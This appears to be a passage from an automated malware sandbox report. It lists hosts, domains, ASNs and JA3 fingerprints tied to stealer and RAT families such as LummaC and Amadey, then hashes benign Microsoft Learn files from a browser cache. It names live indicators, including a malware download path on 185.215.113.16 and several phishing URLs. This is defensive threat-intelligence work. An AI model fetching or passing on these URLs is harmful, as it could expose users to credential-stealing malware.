	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	13.107.246.63
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.159.25.122
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse	172.67.134.63
	rPurchaseOrder_PO19202409.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	172.67.70.46
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	104.26.2.141
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	https://sh4jy.mjt.lu/lnk/AV0AAFiNIwMAAAAAAAAAA8wRVoMAAYKJDQMAAAAAAC0N0gBnVlPBSD3zYwznT1GcHaCspa7g1wApgg8/1/4d5DW5X0pgnAE8y9A887Zg/aHR0cHM6Ly9yZWJyYW5kLmx5L21rbmR0ZTU	Get hash	malicious	Unknown	Browse	172.67.132.19
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
